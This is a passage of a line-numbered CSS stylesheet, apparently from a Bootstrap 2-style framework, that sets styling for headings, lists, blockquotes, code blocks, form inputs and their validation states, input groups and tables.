| line-height:1; 503 | color:#999 504 | } 505 | h1,h2,h3 { 506 | line-height:40px 507 | } 508 | h1 { 509 | font-size:38.5px 510 | } 511 | h2 { 512 | font-size:31.5px 513 | } 514 | h3 { 515 | font-size:24.5px 516 | } 517 | h4 { 518 | font-size:17.5px 519 | } 520 | h5 { 521 | font-size:14px 522 | } 523 | h6 { 524 | font-size:11.9px 525 | } 526 | h1 small { 527 | font-size:24.5px 528 | } 529 | h2 small { 530 | font-size:17.5px 531 | } 532 | h3 small { 533 | font-size:14px 534 | } 535 | h4 small { 536 | font-size:14px 537 | } 538 | .page-header { 539 | padding-bottom:9px; 540 | margin:20px 0 30px; 541 | border-bottom:1px solid #eee 542 | } 543 | ul,ol { 544 | padding:0; 545 | margin:0 0 10px 25px 546 | } 547 | ul ul,ul ol,ol ol,ol ul { 548 | margin-bottom:0 549 | } 550 | li { 551 | line-height:20px 552 | } 553 | ul.unstyled,ol.unstyled { 554 | margin-left:0; 555 | list-style:none 556 | } 557 | dl { 558 | margin-bottom:20px 559 | } 560 | dt,dd { 561 | line-height:20px 562 | } 563 | dt { 564 | font-weight:bold 565 | } 566 | dd { 567 | margin-left:10px 568 | } 569 | .dl-horizontal { 570 | *zoom:1 571 | } 572 | .dl-horizontal:before,.dl-horizontal:after { 573 | display:table; 574 | line-height:0; 575 | content:"" 576 | } 577 | .dl-horizontal:after { 578 | clear:both 579 | } 580 | .dl-horizontal dt { 581 | float:left; 582 | width:160px; 583 | overflow:hidden; 584 | clear:left; 585 | text-align:right; 586 | text-overflow:ellipsis; 587 | white-space:nowrap 588 | } 589 | .dl-horizontal dd { 590 | margin-left:180px 591 | } 592 | hr { 593 | margin:20px 0; 594 | border:0; 595 | border-top:1px solid #eee; 596 | border-bottom:1px solid #fff 597 | } 598 | abbr[title],abbr[data-original-title] { 599 | cursor:help; 600 | border-bottom:1px dotted #999 601 | } 602 | abbr.initialism { 603 | font-size:90%; 604 | text-transform:uppercase 605 | } 606 | blockquote { 607 | padding:0 0 0 15px; 608 | margin:0 0 20px; 609 | border-left:5px solid #eee 610 | } 611 | blockquote p { 612 | margin-bottom:0; 613 | font-size:16px; 614 | font-weight:300; 615 | line-height:25px 616 | } 617 | blockquote small { 618 | display:block; 619 | line-height:20px; 620 | color:#999 621 | } 622 | blockquote small:before { 623 | content:'\2014 \00A0' 624 | } 625 | blockquote.pull-right { 626 | float:right; 627 | padding-right:15px; 628 | padding-left:0; 629 | border-right:5px solid #eee; 630 | border-left:0 631 | } 632 | blockquote.pull-right p,blockquote.pull-right small { 633 | text-align:right 634 | } 635 | blockquote.pull-right small:before { 636 | content:'' 637 | } 638 | blockquote.pull-right small:after { 639 | content:'\00A0 \2014' 640 | } 641 | q:before,q:after,blockquote:before,blockquote:after { 642 | content:"" 643 | } 644 | address { 645 | display:block; 646 | margin-bottom:20px; 647 | font-style:normal; 648 | line-height:20px 649 | } 650 | code,pre { 651 | padding:0 3px 2px; 652 | font-family:Monaco,Menlo,Consolas,"Courier New",monospace; 653 | font-size:12px; 654 | color:#333; 655 | -webkit-border-radius:3px; 656 | -moz-border-radius:3px; 657 | border-radius:3px 658 | } 659 | code { 660 | padding:2px 4px; 661 | color:#d14; 662 | background-color:#f7f7f9; 663 | border:1px solid #e1e1e8 664 | } 665 | pre { 666 | display:block; 667 | padding:9.5px; 668 | margin:0 0 10px; 669 | font-size:13px; 670 | line-height:20px; 671 | word-break:break-all; 672 | word-wrap:break-word; 673 | white-space:pre; 674 | white-space:pre-wrap; 675 | background-color:#f5f5f5; 676 | border:1px solid #ccc; 677 | border:1px solid rgba(0,0,0,0.15); 678 | -webkit-border-radius:4px; 679 | -moz-border-radius:4px; 680 | border-radius:4px 681 | } 682 | pre.prettyprint { 683 | margin-bottom:20px 684 | } 685 | pre code { 686 | padding:0; 687 | color:inherit; 688 | background-color:transparent; 689 | border:0 690 | } 691 | .pre-scrollable { 692 | max-height:340px; 693 | overflow-y:scroll 694 | } 695 | form { 696 | margin:0 0 20px 697 | } 698 | fieldset { 699 | padding:0; 700 | margin:0; 701 | border:0 702 | } 703 | legend { 704 | display:block; 705 | width:100%; 706 | padding:0; 707 | margin-bottom:20px; 708 | font-size:21px; 709 | line-height:40px; 710 | color:#333; 711 | border:0; 712 | border-bottom:1px solid #e5e5e5 713 | } 714 | legend small { 715 | font-size:15px; 716 | color:#999 717 | } 718 | label,input,button,select,textarea { 719 | font-size:14px; 720 | font-weight:normal; 721 | line-height:20px 722 | } 723 | input,button,select,textarea { 724 | font-family:"Helvetica Neue",Helvetica,Arial,sans-serif 725 | } 726 | label { 727 | display:block; 728 | margin-bottom:5px 729 | } 730 | select,textarea,input[type="text"],input[type="password"],input[type="datetime"],input[type="datetime-local"],input[type="date"],input[type="month"],input[type="time"],input[type="week"],input[type="number"],input[type="email"],input[type="url"],input[type="search"],input[type="tel"],input[type="color"],.uneditable-input { 731 | display:inline-block; 732 | height:20px; 733 | padding:4px 6px; 734 | margin-bottom:10px; 735 | font-size:14px; 736 | line-height:20px; 737 | color:#555; 738 | vertical-align:middle; 739 | -webkit-border-radius:4px; 740 | -moz-border-radius:4px; 741 | border-radius:4px 742 | } 743 | input,textarea,.uneditable-input { 744 | width:206px 745 | } 746 | textarea { 747 | height:auto 748 | } 749 | textarea,input[type="text"],input[type="password"],input[type="datetime"],input[type="datetime-local"],input[type="date"],input[type="month"],input[type="time"],input[type="week"],input[type="number"],input[type="email"],input[type="url"],input[type="search"],input[type="tel"],input[type="color"],.uneditable-input { 750 | background-color:#fff; 751 | border:1px solid #ccc; 752 | -webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075); 753 | -moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075); 754 | box-shadow:inset 0 1px 1px rgba(0,0,0,0.075); 755 | -webkit-transition:border linear .2s,box-shadow linear .2s; 756 | -moz-transition:border linear .2s,box-shadow linear .2s; 757 | -o-transition:border linear .2s,box-shadow linear .2s; 758 | transition:border linear .2s,box-shadow linear .2s 759 | } 760 | textarea:focus,input[type="text"]:focus,input[type="password"]:focus,input[type="datetime"]:focus,input[type="datetime-local"]:focus,input[type="date"]:focus,input[type="month"]:focus,input[type="time"]:focus,input[type="week"]:focus,input[type="number"]:focus,input[type="email"]:focus,input[type="url"]:focus,input[type="search"]:focus,input[type="tel"]:focus,input[type="color"]:focus,.uneditable-input:focus { 761 | border-color:rgba(82,168,236,0.8); 762 | outline:0; 763 | outline:thin dotted \9; 764 | -webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6); 765 | -moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6); 766 | box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6) 767 | } 768 | input[type="radio"],input[type="checkbox"] { 769 | margin:4px 0 0; 770 | margin-top:1px \9; 771 | *margin-top:0; 772 | line-height:normal; 773 | cursor:pointer 774 | } 775 | input[type="file"],input[type="image"],input[type="submit"],input[type="reset"],input[type="button"],input[type="radio"],input[type="checkbox"] { 776 | width:auto 777 | } 778 | select,input[type="file"] { 779 | height:30px; 780 | *margin-top:4px; 781 | line-height:30px 782 | } 783 | select { 784 | width:220px; 785 | background-color:#fff; 786 | border:1px solid #ccc 787 | } 788 | select[multiple],select[size] { 789 | height:auto 790 | } 791 | select:focus,input[type="file"]:focus,input[type="radio"]:focus,input[type="checkbox"]:focus { 792 | outline:thin dotted #333; 793 | outline:5px auto -webkit-focus-ring-color; 794 | outline-offset:-2px 795 | } 796 | .uneditable-input,.uneditable-textarea { 797 | color:#999; 798 | cursor:not-allowed; 799 | background-color:#fcfcfc; 800 | border-color:#ccc; 801 | -webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.025); 802 | -moz-box-shadow:inset 0 1px 2px rgba(0,0,0,0.025); 803 | box-shadow:inset 0 1px 2px rgba(0,0,0,0.025) 804 | } 805 | .uneditable-input { 806 | overflow:hidden; 807 | white-space:nowrap 808 | } 809 | .uneditable-textarea { 810 | width:auto; 811 | height:auto 812 | } 813 | input:-moz-placeholder,textarea:-moz-placeholder { 814 | color:#999 815 | } 816 | input:-ms-input-placeholder,textarea:-ms-input-placeholder { 817 | color:#999 818 | } 819 | input::-webkit-input-placeholder,textarea::-webkit-input-placeholder { 820 | color:#999 821 | } 822 | .radio,.checkbox { 823 | min-height:20px; 824 | padding-left:20px 825 | } 826 | .radio input[type="radio"],.checkbox input[type="checkbox"] { 827 | float:left; 828 | margin-left:-20px 829 | } 830 | .controls>.radio:first-child,.controls>.checkbox:first-child { 831 | padding-top:5px 832 | } 833 | .radio.inline,.checkbox.inline { 834 | display:inline-block; 835 | padding-top:5px; 836 | margin-bottom:0; 837 | vertical-align:middle 838 | } 839 | .radio.inline+.radio.inline,.checkbox.inline+.checkbox.inline { 840 | margin-left:10px 841 | } 842 | .input-mini { 843 | width:60px 844 | } 845 | .input-small { 846 | width:90px 847 | } 848 | .input-medium { 849 | width:150px 850 | } 851 | .input-large { 852 | width:210px 853 | } 854 | .input-xlarge { 855 | width:270px 856 | } 857 | .input-xxlarge { 858 | width:530px 859 | } 860 | input[class*="span"],select[class*="span"],textarea[class*="span"],.uneditable-input[class*="span"],.row-fluid input[class*="span"],.row-fluid select[class*="span"],.row-fluid textarea[class*="span"],.row-fluid .uneditable-input[class*="span"] { 861 | float:none; 862 | margin-left:0 863 | } 864 | .input-append input[class*="span"],.input-append .uneditable-input[class*="span"],.input-prepend input[class*="span"],.input-prepend .uneditable-input[class*="span"],.row-fluid input[class*="span"],.row-fluid select[class*="span"],.row-fluid textarea[class*="span"],.row-fluid .uneditable-input[class*="span"],.row-fluid .input-prepend [class*="span"],.row-fluid .input-append [class*="span"] { 865 | display:inline-block 866 | } 867 | input,textarea,.uneditable-input { 868 | margin-left:0 869 | } 870 | .controls-row [class*="span"]+[class*="span"] { 871 | margin-left:20px 872 | } 873 | input.span12,textarea.span12,.uneditable-input.span12 { 874 | width:926px 875 | } 876 | input.span11,textarea.span11,.uneditable-input.span11 { 877 | width:846px 878 | } 879 | input.span10,textarea.span10,.uneditable-input.span10 { 880 | width:766px 881 | } 882 | input.span9,textarea.span9,.uneditable-input.span9 { 883 | width:686px 884 | } 885 | input.span8,textarea.span8,.uneditable-input.span8 { 886 | width:606px 887 | } 888 | input.span7,textarea.span7,.uneditable-input.span7 { 889 | width:526px 890 | } 891 | input.span6,textarea.span6,.uneditable-input.span6 { 892 | width:446px 893 | } 894 | input.span5,textarea.span5,.uneditable-input.span5 { 895 | width:366px 896 | } 897 | input.span4,textarea.span4,.uneditable-input.span4 { 898 | width:286px 899 | } 900 | input.span3,textarea.span3,.uneditable-input.span3 { 901 | width:206px 902 | } 903 | input.span2,textarea.span2,.uneditable-input.span2 { 904 | width:126px 905 | } 906 | input.span1,textarea.span1,.uneditable-input.span1 { 907 | width:46px 908 | } 909 | .controls-row { 910 | *zoom:1 911 | } 912 | .controls-row:before,.controls-row:after { 913 | display:table; 914 | line-height:0; 915 | content:"" 916 | } 917 | .controls-row:after { 918 | clear:both 919 | } 920 | .controls-row [class*="span"],.row-fluid .controls-row [class*="span"] { 921 | float:left 922 | } 923 | .controls-row .checkbox[class*="span"],.controls-row .radio[class*="span"] { 924 | padding-top:5px 925 | } 926 | input[disabled],select[disabled],textarea[disabled],input[readonly],select[readonly],textarea[readonly] { 927 | cursor:not-allowed; 928 | background-color:#eee 929 | } 930 | input[type="radio"][disabled],input[type="checkbox"][disabled],input[type="radio"][readonly],input[type="checkbox"][readonly] { 931 | background-color:transparent 932 | } 933 | .control-group.warning>label,.control-group.warning .help-block,.control-group.warning .help-inline { 934 | color:#c09853 935 | } 936 | .control-group.warning .checkbox,.control-group.warning .radio,.control-group.warning input,.control-group.warning select,.control-group.warning textarea { 937 | color:#c09853 938 | } 939 | .control-group.warning input,.control-group.warning select,.control-group.warning textarea { 940 | border-color:#c09853; 941 | -webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075); 942 | -moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075); 943 | box-shadow:inset 0 1px 1px rgba(0,0,0,0.075) 944 | } 945 | .control-group.warning input:focus,.control-group.warning select:focus,.control-group.warning textarea:focus { 946 | border-color:#a47e3c; 947 | -webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #dbc59e; 948 | -moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #dbc59e; 949 | box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #dbc59e 950 | } 951 | .control-group.warning .input-prepend .add-on,.control-group.warning .input-append .add-on { 952 | color:#c09853; 953 | background-color:#fcf8e3; 954 | border-color:#c09853 955 | } 956 | .control-group.error>label,.control-group.error .help-block,.control-group.error .help-inline { 957 | color:#b94a48 958 | } 959 | .control-group.error .checkbox,.control-group.error .radio,.control-group.error input,.control-group.error select,.control-group.error textarea { 960 | color:#b94a48 961 | } 962 | .control-group.error input,.control-group.error select,.control-group.error textarea { 963 | border-color:#b94a48; 964 | -webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075); 965 | -moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075); 966 | box-shadow:inset 0 1px 1px rgba(0,0,0,0.075) 967 | } 968 | .control-group.error input:focus,.control-group.error select:focus,.control-group.error textarea:focus { 969 | border-color:#953b39; 970 | -webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #d59392; 971 | -moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #d59392; 972 | box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #d59392 973 | } 974 | .control-group.error .input-prepend .add-on,.control-group.error .input-append .add-on { 975 | color:#b94a48; 976 | background-color:#f2dede; 977 | border-color:#b94a48 978 | } 979 | .control-group.success>label,.control-group.success .help-block,.control-group.success .help-inline { 980 | color:#468847 981 | } 982 | .control-group.success .checkbox,.control-group.success .radio,.control-group.success input,.control-group.success select,.control-group.success textarea { 983 | color:#468847 984 | } 985 | .control-group.success input,.control-group.success select,.control-group.success textarea { 986 | border-color:#468847; 987 | -webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075); 988 | -moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075); 989 | box-shadow:inset 0 1px 1px rgba(0,0,0,0.075) 990 | } 991 | .control-group.success input:focus,.control-group.success select:focus,.control-group.success textarea:focus { 992 | border-color:#356635; 993 | -webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #7aba7b; 994 | -moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #7aba7b; 995 | box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #7aba7b 996 | } 997 | .control-group.success .input-prepend .add-on,.control-group.success .input-append .add-on { 998 | color:#468847; 999 | background-color:#dff0d8; 1000 | border-color:#468847 1001 | } 1002 | .control-group.info>label,.control-group.info .help-block,.control-group.info .help-inline { 1003 | color:#3a87ad 1004 | } 1005 | .control-group.info .checkbox,.control-group.info .radio,.control-group.info input,.control-group.info select,.control-group.info textarea { 1006 | color:#3a87ad 1007 | } 1008 | .control-group.info input,.control-group.info select,.control-group.info textarea { 1009 | border-color:#3a87ad; 1010 | -webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075); 1011 | -moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075); 1012 | box-shadow:inset 0 1px 1px rgba(0,0,0,0.075) 1013 | } 1014 | .control-group.info input:focus,.control-group.info select:focus,.control-group.info textarea:focus { 1015 | border-color:#2d6987; 1016 | -webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #7ab5d3; 1017 | -moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #7ab5d3; 1018 | box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #7ab5d3 1019 | } 1020 | .control-group.info .input-prepend .add-on,.control-group.info .input-append .add-on { 1021 | color:#3a87ad; 1022 | background-color:#d9edf7; 1023 | border-color:#3a87ad 1024 | } 1025 | input:focus:required:invalid,textarea:focus:required:invalid,select:focus:required:invalid { 1026 | color:#b94a48; 1027 | border-color:#ee5f5b 1028 | } 1029 | input:focus:required:invalid:focus,textarea:focus:required:invalid:focus,select:focus:required:invalid:focus { 1030 | border-color:#e9322d; 1031 | -webkit-box-shadow:0 0 6px #f8b9b7; 1032 | -moz-box-shadow:0 0 6px #f8b9b7; 1033 | box-shadow:0 0 6px #f8b9b7 1034 | } 1035 | .form-actions { 1036 | padding:19px 20px 20px; 1037 | margin-top:20px; 1038 | margin-bottom:20px; 1039 | background-color:#f5f5f5; 1040 | border-top:1px solid #e5e5e5; 1041 | *zoom:1 1042 | } 1043 | .form-actions:before,.form-actions:after { 1044 | display:table; 1045 | line-height:0; 1046 | content:"" 1047 | } 1048 | .form-actions:after { 1049 | clear:both 1050 | } 1051 | .help-block,.help-inline { 1052 | color:#595959 1053 | } 1054 | .help-block { 1055 | display:block; 1056 | margin-bottom:10px 1057 | } 1058 | .help-inline { 1059 | display:inline-block; 1060 | *display:inline; 1061 | padding-left:5px; 1062 | vertical-align:middle; 1063 | *zoom:1 1064 | } 1065 | .input-append,.input-prepend { 1066 | margin-bottom:5px; 1067 | font-size:0; 1068 | white-space:nowrap 1069 | } 1070 | .input-append input,.input-prepend input,.input-append select,.input-prepend select,.input-append .uneditable-input,.input-prepend .uneditable-input,.input-append .dropdown-menu,.input-prepend .dropdown-menu { 1071 | font-size:14px 1072 | } 1073 | .input-append input,.input-prepend input,.input-append select,.input-prepend select,.input-append .uneditable-input,.input-prepend .uneditable-input { 1074 | position:relative; 1075 | margin-bottom:0; 1076 | *margin-left:0; 1077 | vertical-align:top; 1078 | -webkit-border-radius:0 4px 4px 0; 1079 | -moz-border-radius:0 4px 4px 0; 1080 | border-radius:0 4px 4px 0 1081 | } 1082 | .input-append input:focus,.input-prepend input:focus,.input-append select:focus,.input-prepend select:focus,.input-append .uneditable-input:focus,.input-prepend .uneditable-input:focus { 1083 | z-index:2 1084 | } 1085 | .input-append .add-on,.input-prepend .add-on { 1086 | display:inline-block; 1087 | width:auto; 1088 | height:20px; 1089 | min-width:16px; 1090 | padding:4px 5px; 1091 | font-size:14px; 1092 | font-weight:normal; 1093 | line-height:25px; 1094 | text-align:center; 1095 | text-shadow:0 1px 0 #fff; 1096 | background-color:#eee; 1097 | border:1px solid #ccc 1098 | } 1099 | .input-append .add-on,.input-prepend .add-on,.input-append .btn,.input-prepend .btn { 1100 | vertical-align:top; 1101 | -webkit-border-radius:0; 1102 | -moz-border-radius:0; 1103 | border-radius:0 1104 | } 1105 | .input-append .active,.input-prepend .active { 1106 | background-color:#a9dba9; 1107 | border-color:#46a546 1108 | } 1109 | .input-prepend .add-on,.input-prepend .btn { 1110 | margin-right:-1px 1111 | } 1112 | .input-prepend .add-on:first-child,.input-prepend .btn:first-child { 1113 | -webkit-border-radius:4px 0 0 4px; 1114 | -moz-border-radius:4px 0 0 4px; 1115 | border-radius:4px 0 0 4px 1116 | } 1117 | .input-append input,.input-append select,.input-append .uneditable-input { 1118 | -webkit-border-radius:4px 0 0 4px; 1119 | -moz-border-radius:4px 0 0 4px; 1120 | border-radius:4px 0 0 4px 1121 | } 1122 | .input-append input+.btn-group .btn,.input-append select+.btn-group .btn,.input-append .uneditable-input+.btn-group .btn { 1123 | -webkit-border-radius:0 4px 4px 0; 1124 | -moz-border-radius:0 4px 4px 0; 1125 | border-radius:0 4px 4px 0 1126 | } 1127 | .input-append .add-on,.input-append .btn,.input-append .btn-group { 1128 | margin-left:-1px 1129 | } 1130 | .input-append .add-on:last-child,.input-append .btn:last-child { 1131 | -webkit-border-radius:0 4px 4px 0; 1132 | -moz-border-radius:0 4px 4px 0; 1133 | border-radius:0 4px 4px 0 1134 | } 1135 | .input-prepend.input-append input,.input-prepend.input-append select,.input-prepend.input-append .uneditable-input { 1136 | -webkit-border-radius:0; 1137 | -moz-border-radius:0; 1138 | border-radius:0 1139 | } 1140 | .input-prepend.input-append input+.btn-group .btn,.input-prepend.input-append select+.btn-group .btn,.input-prepend.input-append .uneditable-input+.btn-group .btn { 1141 | -webkit-border-radius:0 4px 4px 0; 1142 | -moz-border-radius:0 4px 4px 0; 1143 | border-radius:0 4px 4px 0 1144 | } 1145 | .input-prepend.input-append .add-on:first-child,.input-prepend.input-append .btn:first-child { 1146 | margin-right:-1px; 1147 | -webkit-border-radius:4px 0 0 4px; 1148 | -moz-border-radius:4px 0 0 4px; 1149 | border-radius:4px 0 0 4px 1150 | } 1151 | .input-prepend.input-append .add-on:last-child,.input-prepend.input-append .btn:last-child { 1152 | margin-left:-1px; 1153 | -webkit-border-radius:0 4px 4px 0; 1154 | -moz-border-radius:0 4px 4px 0; 1155 | border-radius:0 4px 4px 0 1156 | } 1157 | .input-prepend.input-append .btn-group:first-child { 1158 | margin-left:0 1159 | } 1160 | input.search-query { 1161 | padding-right:14px; 1162 | padding-right:4px \9; 1163 | padding-left:14px; 1164 | padding-left:4px \9; 1165 | margin-bottom:0; 1166 | -webkit-border-radius:15px; 1167 | -moz-border-radius:15px; 1168 | border-radius:15px 1169 | } 1170 | .form-search .input-append .search-query,.form-search .input-prepend .search-query { 1171 | -webkit-border-radius:0; 1172 | -moz-border-radius:0; 1173 | border-radius:0 1174 | } 1175 | .form-search .input-append .search-query { 1176 | -webkit-border-radius:14px 0 0 14px; 1177 | -moz-border-radius:14px 0 0 14px; 1178 | border-radius:14px 0 0 14px 1179 | } 1180 | .form-search .input-append .btn { 1181 | -webkit-border-radius:0 14px 14px 0; 1182 | -moz-border-radius:0 14px 14px 0; 1183 | border-radius:0 14px 14px 0 1184 | } 1185 | .form-search .input-prepend .search-query { 1186 | -webkit-border-radius:0 14px 14px 0; 1187 | -moz-border-radius:0 14px 14px 0; 1188 | border-radius:0 14px 14px 0 1189 | } 1190 | .form-search .input-prepend .btn { 1191 | -webkit-border-radius:14px 0 0 14px; 1192 | -moz-border-radius:14px 0 0 14px; 1193 | border-radius:14px 0 0 14px 1194 | } 1195 | .form-search input,.form-inline input,.form-horizontal input,.form-search textarea,.form-inline textarea,.form-horizontal textarea,.form-search select,.form-inline select,.form-horizontal select,.form-search .help-inline,.form-inline .help-inline,.form-horizontal .help-inline,.form-search .uneditable-input,.form-inline .uneditable-input,.form-horizontal .uneditable-input,.form-search .input-prepend,.form-inline .input-prepend,.form-horizontal .input-prepend,.form-search .input-append,.form-inline .input-append,.form-horizontal .input-append { 1196 | display:inline-block; 1197 | *display:inline; 1198 | margin-bottom:0; 1199 | vertical-align:middle; 1200 | *zoom:1 1201 | } 1202 | .form-search .hide,.form-inline .hide,.form-horizontal .hide { 1203 | display:none 1204 | } 1205 | .form-search label,.form-inline label,.form-search .btn-group,.form-inline .btn-group { 1206 | display:inline-block 1207 | } 1208 | .form-search .input-append,.form-inline .input-append,.form-search .input-prepend,.form-inline .input-prepend { 1209 | margin-bottom:0 1210 | } 1211 | .form-search .radio,.form-search .checkbox,.form-inline .radio,.form-inline .checkbox { 1212 | padding-left:0; 1213 | margin-bottom:0; 1214 | vertical-align:middle 1215 | } 1216 | .form-search .radio input[type="radio"],.form-search .checkbox input[type="checkbox"],.form-inline .radio input[type="radio"],.form-inline .checkbox input[type="checkbox"] { 1217 | float:left; 1218 | margin-right:3px; 1219 | margin-left:0 1220 | } 1221 | .control-group { 1222 | margin-bottom:10px 1223 | } 1224 | legend+.control-group { 1225 | margin-top:20px; 1226 | -webkit-margin-top-collapse:separate 1227 | } 1228 | .form-horizontal .control-group { 1229 | margin-bottom:20px; 1230 | *zoom:1 1231 | } 1232 | .form-horizontal .control-group:before,.form-horizontal .control-group:after { 1233 | display:table; 1234 | line-height:0; 1235 | content:"" 1236 | } 1237 | .form-horizontal .control-group:after { 1238 | clear:both 1239 | } 1240 | .form-horizontal .control-label { 1241 | float:left; 1242 | width:160px; 1243 | padding-top:5px; 1244 | text-align:right 1245 | } 1246 | .form-horizontal .controls { 1247 | *display:inline-block; 1248 | *padding-left:20px; 1249 | margin-left:180px; 1250 | *margin-left:0 1251 | } 1252 | .form-horizontal .controls:first-child { 1253 | *padding-left:180px 1254 | } 1255 | .form-horizontal .help-block { 1256 | margin-bottom:0 1257 | } 1258 | .form-horizontal input+.help-block,.form-horizontal select+.help-block,.form-horizontal textarea+.help-block { 1259 | margin-top:10px 1260 | } 1261 | .form-horizontal .form-actions { 1262 | padding-left:200px 1263 | } 1264 | table { 1265 | max-width:100%; 1266 | background-color:transparent; 1267 | border-collapse:collapse; 1268 | border-spacing:0 1269 | } 1270 | .table { 1271 | width:100%; 1272 | margin-bottom:20px 1273 | } 1274 | .table th,.table td { 1275 | padding:8px; 1276 | line-height:20px; 1277 | text-align:center; 1278 | vertical-align:top; 1279 | border-top:1px solid #ddd 1280 | } 1281 | .table th { 1282 | font-weight:bold 1283 | } 1284 | .table thead th { 1285 | vertical-align:bottom 1286 | } 1287 | .table caption+thead tr:first-child th,.table caption+thead tr:first-child td,.table colgroup+thead tr:first-child th,.table colgroup+thead tr:first-child td,.table thead:first-child tr:first-child th,.table thead:first-child tr:first-child td { 1288 | border-top:0 1289 | } 1290 | .table tbody+tbody { 1291 | border-top:2px solid #ddd 1292 | } 1293 | .table-condensed th,.table-condensed td { 1294 | padding:4px 5px 1295 | } 1296 | .table-bordered { 1297 | border:1px solid #ddd; 1298 | border-collapse:separate; 1299 | *border-collapse:collapse; 1300 | border-left:0; 1301 | -webkit-border-radius:4px; 1302 | -moz-border-radius:4px; 1303 | border-radius:4px 1304 | } 1305 | .table-bordered th,.table-bordered td { 1306 | border-left:1px solid #ddd 1307 | } 1308 | .table-bordered caption+thead tr:first-child th,.table-bordered caption+tbody tr:first-child th,.table-bordered caption+tbody tr:first-child td,.table-bordered colgroup+thead tr:first-child th,.table-bordered colgroup+tbody tr:first-child th,.table-bordered colgroup+tbody tr:first-child td,.table-bordered thead:first-child tr:first-child th,.table-bordered tbody:first-child tr:first-child th,.table-bordered tbody:first-child tr:first-child td { 1309 | border-top:0 1310 | } 1311 | .table-bordered thead:first-child tr:first-child th:first-child,.table-bordered tbody:first-child tr:first-child td:first-child { 1312 | -webkit-border-top-left-radius:4px; 1313 | border-top-left-radius:4px; 1314 | -moz-border-radius-topleft:4px 1315 | } 1316 | .table-bordered thead:first-child tr:first-child th:last-child,.table-bordered tbody:first-child tr:first-child td:last-child { 1317 | -webkit-border-top-right-radius:4px; 1318 | border-top-right-radius:4px; 1319 | -moz-border-radius-topright:4px 1320 | } 1321 | .table-bordered thead:last-child tr:last-child th:first-child,.table-bordered tbody:last-child tr:last-child td:first-child,.table-bordered tfoot:last-child tr:last-child td:first-child { 1322 | -webkit-border-radius:0 0 0 4px; 1323 | -moz-border-radius:0 0 0 4px; 1324 | border-radius:0 0 0 4px; 1325 | -webkit-border-bottom-left-radius:4px; 1326 | border-bottom-left-radius:4px; 1327 | -moz-border-radius-bottomleft:4px 1328 | } 1329 | .table-bordered thead:last-child tr:last-child th:last-child,.table-bordered tbody:last-child tr:last-child td:last-child,.table-bordered tfoot:last-child tr:last-child td:last-child { 1330 | -webkit-border-bottom-right-radius:4px; 1331 | border-bottom-right-radius:4px; 1332 | -moz-border-radius-bottomright:4px 1333 | } 1334 | .table-bordered caption+thead tr:first-child th:first-child,.table-bordered caption+tbody tr:first-child td:first-child,.table-bordered colgroup+thead tr:first-child th:first-child,.table-bordered colgroup+tbody tr:first-child td:first-child { 1335 | -webkit-border-top-left-radius:4px; 1336 | border-top-left-radius:4px; 1337 | -moz-border-radius-topleft:4px 1338 | } 1339 | .table-bordered caption+thead tr:first-child th:last-child,.table-bordered caption+tbody tr:first-child td:last-child,.table-bordered colgroup+thead tr:first-child th:last-child,.table-bordered colgroup+tbody tr:first-child td:last-child { 1340 | -webkit-border-top-right-radius:4px; 1341 | border-top-right-radius:4px; 1342 | -moz-border-radius-topright:4px 1343 | } 1344 | .table-striped tbody tr:nth-child(odd) td,.table-striped tbody tr:nth-child(odd) th { 1345 | background-color:#f9f9f9 1346 | } 1347 | .table-hover tbody tr:hover td,.table-hover tbody tr:hover th { 1348 | background-color:#f5f5f5 1349 | } 1350 | table td[class*="span"],table th[class*="span"],.row-fluid table td[class*="span"],.row-fluid table th[class*="span"] { 1351 | display:table-cell; 1352 | float:none; 1353 | margin-left:0 1354 | } 1355 | .table td.span1,.table th.span1 { 1356 | float:none; 1357 | width:44px; 1358 | margin-left:0 1359 | } 1360 | .table td.span2,.table th.span2 { 1361 | float:none; 1362 | width:124px; 1363 | margin-left:0 1364 | } 1365 | .table td.span3,.table th.span3 { 1366 | float:none; 1367 | width:204px; 1368 | margin-left:0 1369 | } 1370 | .table td.span4,.table th.span4 { 1371 | float:none; 1372 | width:284px; 1373 | margin-left:0 1374 | } 1375 | .table td.span5,.table th.span5 { 1376 | float:none; 1377 | width:364px; 1378 | margin-left:0 1379 | } 1380 | .table td.span6,.table th.span6 { 1381 | float:none; 1382 | width:444px; 1383 | margin-left:0 1384 | } 1385 | .table td.span7,.table th.span7 { 1386 | float:none; 1387 | width:524px; 1388 | margin-left:0 1389 | } 1390 | .table td.span8,.table th.span8 { 1391 | float:none; 1392 | width:604px; 1393 | margin-left:0 1394 | } 1395 | .table td.span9,.table th.span9 { 1396 | float:none; 1397 | width:684px; 1398 | margin-left:0 1399 | } 1400 | .table td.span10,.table th.span10 { 1401 | float:none; 1402 | width:764px; 1403 | margin-left:0 1404 | } 1405 | .table td.span11,.table th.span11 { 1406 | float:none; 1407 | width:844px; 1408 | 